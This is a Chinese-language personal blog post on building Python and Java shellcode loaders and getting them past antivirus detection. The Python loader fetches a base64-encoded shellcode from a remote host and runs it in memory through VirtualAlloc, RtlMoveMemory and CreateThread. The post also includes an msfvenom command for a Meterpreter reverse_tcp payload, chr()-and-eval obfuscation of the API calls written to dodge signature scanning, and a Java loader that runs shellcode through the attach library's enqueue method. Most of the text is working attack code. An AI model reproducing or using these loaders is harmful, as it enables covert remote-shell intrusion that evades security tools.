个人学习和生活点滴记录
May 31st, 2022
ShellCode_Loader的实现后面再学,先实验可用性
import ctypes import requests import base64 scode = requests.get("http://x.x.x.x/bs4SD.txt") """ # 编/解码多次(3) realCode = scode.text for i in range(3): realCode = base64.b64decode(realCode) shellcode = bytearray(realCode) """ shellcode = bytearray(base64.b64decode(scode.text)) #设置返回类型64位,默认32位 #64位需要 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 #申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) #此函数从指定内存中复制内容至另一内存里 #32位写法 #ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode))) #64位写法 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) #调用CreateThread将在主线程的基础上创建一个新线程 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
基础准备
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.58 LPORT=4445 -f py
import base64 buf = b"" # ...... buf += b"\x56\xff\xd5" StringSL = buf for i in range(3): StringSL = base64.b64encode(StringSL) print(StringSL)
Loader免杀
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
明确的思路有两个
ctypes.windll.NtDll.RtlCopyMemory(ptr,buf,len(shellcode)) ctypes.windll.NtDll.RtlCopyMemoryNonTemporal(ptr,buf,len(shellcode)) # 替换代码,但是我替换后运行会报错
OSError: exception: access violation writing......
StringSD = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp" eval(base64.b64decode(StringSD))
修改了base64串后再打包未报毒,说明我们只需要免杀base64串即可,我觉得思路很多
# encode.py res = "" strSD = "Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp" for i in strSD: res = res+"chr("+str(ord(i))+")+" print(res)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
import ctypes import requests import base64 scode = requests.get("http://x.x.x.x/bs4sd.txt") realCode = scode.text for i in range(3): realCode = base64.b64decode(realCode) shellcode = bytearray(realCode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 bypassPTR = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(87)+chr(97)+chr(88)+chr(74)+chr(48)+chr(100)+chr(87)+chr(70)+chr(115)+chr(81)+chr(87)+chr(120)+chr(115)+chr(98)+chr(50)+chr(77)+chr(111)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(66)+chr(52)+chr(77)+chr(122)+chr(65)+chr(119)+chr(77)+chr(67)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(66)+chr(52)+chr(78)+chr(68)+chr(65)+chr(112)+chr(75)+chr(81)+chr(61)+chr(61) ptr = eval(base64.b64decode(bypassPTR)) bypassBF = chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(78)+chr(111)+chr(89)+chr(88)+chr(73)+chr(103)+chr(75)+chr(105)+chr(66)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(117)+chr(90)+chr(110)+chr(74)+chr(118)+chr(98)+chr(86)+chr(57)+chr(105)+chr(100)+chr(87)+chr(90)+chr(109)+chr(90)+chr(88)+chr(73)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(81)+chr(61)+chr(61) buf = eval(base64.b64decode(bypassBF)) StringSD = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(83)+chr(100)+chr(71)+chr(120)+chr(78)+chr(98)+chr(51)+chr(90)+chr(108)+chr(84)+chr(87)+chr(86)+chr(116)+chr(98)+chr(51)+chr(74)+chr(53)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(51)+chr(86)+chr(112)+chr(98)+chr(110)+chr(81)+chr(50)+chr(78)+chr(67)+chr(104)+chr(119)+chr(100)+chr(72)+chr(73)+chr(112)+chr(76)+chr(67)+chr(66)+chr(105)+chr(100)+chr(87)+chr(89)+chr(115)+chr(73)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(115)+chr(90)+chr(87)+chr(52)+chr(111)+chr(99)+chr(50)+chr(104)+chr(108)+chr(98)+chr(71)+chr(120)+chr(106)+chr(98)+chr(50)+chr(82)+chr(108)+chr(75)+chr(83)+chr(107)+chr(112) eval(base64.b64decode(StringSD)) bypassCT = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(68)+chr(99)+chr(109)+chr(86)+chr(104)+chr(100)+chr(71)+chr(86)+chr(85)+chr(97)+chr(72)+chr(74)+chr(108)+chr(89)+chr(87)+chr(81)+chr(111)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(119)+chr(75)+chr(83)+chr(120)+chr(106)+chr(100)+chr(72)+chr(108)+chr(119)+chr(90)+chr(88)+chr(77)+chr(117)+chr(89)+chr(49)+chr(57)+chr(49)+chr(97)+chr(87)+chr(53)+chr(48)+chr(78)+chr(106)+chr(81)+chr(111)+chr(99)+chr(72)+chr(82)+chr(121)+chr(75)+chr(83)+chr(120)+chr(106)+chr(100)+chr(72)+chr(108)+chr(119)+chr(90)+chr(88)+chr(77)+chr(117)+chr(89)+chr(49)+chr(57)+chr(112)+chr(98)+chr(110)+chr(81)+chr(111)+chr(77)+chr(67)+chr(107)+chr(115)+chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(109)+chr(78)+chr(102)+chr(97)+chr(87)+chr(53)+chr(48)+chr(75)+chr(68)+chr(65)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(119)+chr(98)+chr(50)+chr(108)+chr(117)+chr(100)+chr(71)+chr(86)+chr(121)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(119)+chr(75)+chr(83)+chr(107)+chr(112) handle = eval(base64.b64decode(bypassCT)) bypassDF = chr(89)+chr(51)+chr(82)+chr(53)+chr(99)+chr(71)+chr(86)+chr(122)+chr(76)+chr(110)+chr(100)+chr(112)+chr(98)+chr(109)+chr(82)+chr(115)+chr(98)+chr(67)+chr(53)+chr(114)+chr(90)+chr(88)+chr(74)+chr(117)+chr(90)+chr(87)+chr(119)+chr(122)+chr(77)+chr(105)+chr(53)+chr(88)+chr(89)+chr(87)+chr(108)+chr(48)+chr(82)+chr(109)+chr(57)+chr(121)+chr(85)+chr(50)+chr(108)+chr(117)+chr(90)+chr(50)+chr(120)+chr(108)+chr(84)+chr(50)+chr(74)+chr(113)+chr(90)+chr(87)+chr(78)+chr(48)+chr(75)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(104)+chr(111)+chr(89)+chr(87)+chr(53)+chr(107)+chr(98)+chr(71)+chr(85)+chr(112)+chr(76)+chr(71)+chr(78)+chr(48)+chr(101)+chr(88)+chr(66)+chr(108)+chr(99)+chr(121)+chr(53)+chr(106)+chr(88)+chr(50)+chr(108)+chr(117)+chr(100)+chr(67)+chr(103)+chr(116)+chr(77)+chr(83)+chr(107)+chr(112) eval(base64.b64decode(bypassDF))
效果检测
远程加载Loader
代码分析
import ctypes import requests import base64
scode = requests.get("http://x.x.x.x/bs4SD.txt") realCode = scode.text for i in range(3): realCode = base64.b64decode(realCode) shellcode = bytearray(realCode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
//VirtualAlloc原型 LPVOID VirtualAlloc{ LPVOID lpAddress, #要分配的内存区域的地址 DWORD dwSize, #分配的大小 DWORD flAllocationType, #分配的类型 DWORD flProtect #该内存的初始保护属性 };
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) #32位写法 #ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode))) #64位写法 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
RtlMoveMemory(Destination,Source,Length); Destination //指向移动目的地址的指针 Source //指向要复制的内存地址的指针 Length //指定要复制的字节数
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性 SIZE_T dwStackSize, #置初始栈的大小,以字节为单位 LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针 LPVOID lpParameter, #向线程函数传递的参数 DWORD dwCreationFlags, #线程创建属性 LPDWORD lpThreadId #保存新线程的id )
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle, #对象句柄。可以指定一系列的对象 __in DWORD dwMilliseconds #定时时间间隔 );
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
相关环境
获取ShellCode
import java.io.*; import java.net.*; public class ShellCode_Loader { public static void main(String[] args) throws Exception { // 获取远程ShellCode String bodyLine = ""; URL getSD = new URL("http://127.0.0.1/bs4SD.txt"); HttpURLConnection con = (HttpURLConnection) getSD.openConnection(); con.setRequestMethod("GET"); // 获取返回状态码 int resCode = con.getResponseCode(); StringBuffer resp = new StringBuffer(); if (resCode == HttpURLConnection.HTTP_OK){ // 获取输入流 BufferedReader readIn = new BufferedReader(new InputStreamReader(con.getInputStream())); while ((bodyLine = readIn.readLine())!=null) { resp.append(bodyLine); } readIn.close(); } System.out.println(resp); } }
处理(解码)ShellCode
// Base64解码&处理数据 byte[] ShellCode = new byte[1024]; Base64.Decoder decoder = Base64.getDecoder(); String decode_byteSD = resp.toString(); for (int i=0;i<3;i++) decode_byteSD = new String(decoder.decode(decode_byteSD.getBytes()), StandardCharsets.UTF_8); String[] repStr = new String[]{"\n"," ","(byte)","0x"}; for (String st:repStr) decode_byteSD = decode_byteSD.replace(st, ""); String[] lastStr = decode_byteSD.split(","); for (int count=0;count<lastStr.length;count++) ShellCode[count] = (byte) Long.parseLong(lastStr[count], 16);
申请/放入内存/启动
JNI可以在下面这些情况使用——参考资料[3]
System.loadLibrary("attach"); Class clazz = Class.forName("sun.tools.attach.WindowsVirtualMachine"); for (Method md:clazz.getDeclaredMethods()){ if (md.getName().equals("enqueue")){ md.setAccessible(true); md.invoke(clazz, -1L,ShellCode,"LT","TL",new Object[]{}); } }
package sun.tools.attach; import java.io.IOException; public class WindowsVirtualMachine { public WindowsVirtualMachine() { } static native void enqueue(long var0, byte[] var2, String var3, String var4, Object... var5) throws IOException; static native long openProcess(int var0) throws IOException; public static void run(byte[] buf) { System.loadLibrary("attach"); try { enqueue(-1L, buf, "test", "test"); } catch (Exception var2) { var2.printStackTrace(); } } }
javac WindowsVirtualMachine.java cat WindowsVirtualMachine.class | base64
import java.io.*; import java.net.*; import java.nio.charset.StandardCharsets; import java.util.Base64; public class ShellCode_Loader { public static void main(String[] args) throws Exception { // 获取远程ShellCode String bodyLine = ""; URL getSD = new URL("http://127.0.0.1/bs4SD.txt"); HttpURLConnection con = (HttpURLConnection) getSD.openConnection(); con.setRequestMethod("GET"); // 获取返回状态码 int resCode = con.getResponseCode(); StringBuffer resp = new StringBuffer(); if (resCode == HttpURLConnection.HTTP_OK){ // 获取输入流 BufferedReader readIn = new BufferedReader(new InputStreamReader(con.getInputStream())); while ((bodyLine = readIn.readLine())!=null) { resp.append(bodyLine); } readIn.close(); } // Base64解码&处理数据 byte[] ShellCode = new byte[1024]; Base64.Decoder decoder = Base64.getDecoder(); String decode_byteSD = resp.toString(); for (int i=0;i<3;i++) decode_byteSD = new String(decoder.decode(decode_byteSD.getBytes()), StandardCharsets.UTF_8); String[] repStr = new String[]{"\n"," ","(byte)","0x"}; for (String st:repStr) decode_byteSD = decode_byteSD.replace(st, ""); String[] lastStr = decode_byteSD.split(","); for (int count=0;count<lastStr.length;count++) ShellCode[count] = (byte) Long.parseLong(lastStr[count], 16); String classStr = "yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAR2YXIyAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAAMwABAAEAAAAFKrcAAbEAAAACAA8AAAAKAAIAAAAGAAQABwAQAAAADAABAAAABQARABIAAAGIABMAFAABABUAAAAEAAEAFgEIABcAGAABABUAAAAEAAEAFgAJABkAGgABAA4AAAB6AAYAAgAAAB0SArgAAxQABCoSBhIGA70AB7gACKcACEwrtgAKsQABAAUAFAAXAAkAAwAPAAAAGgAGAAAADgAFABAAFAATABcAEQAYABIAHAAVABAAAAAWAAIAGAAEABsAHAABAAAAHQAdAB4AAAAfAAAABwACVwcAIAQAAQAhAAAAAgAi"; Class<?> claTools = new toolsAttach().get(Base64.getDecoder().decode(classStr)); claTools.getDeclaredMethod("run", byte[].class).invoke(claTools,ShellCode); } public static class toolsAttach extends ClassLoader{ public Class get(byte[] bytes){ return super.defineClass("sun.tools.attach.WindowsVirtualMachine",bytes,0,bytes.length); } } }
0x01[特征查杀]
0x02[ShellCode_Loader]
ShellCode_Loader的实现后面再学,先实验可用性
0x03[实验过程]
基础准备
明确的思路有两个
修改了base64串后再打包未报毒,说明我们只需要免杀base64串即可,我觉得思路很多
0x04[Loader原理]
0x05[Loader-Java实现]
相关环境
JNI可以在下面这些情况使用——参考资料[3]
0x06[参考资料]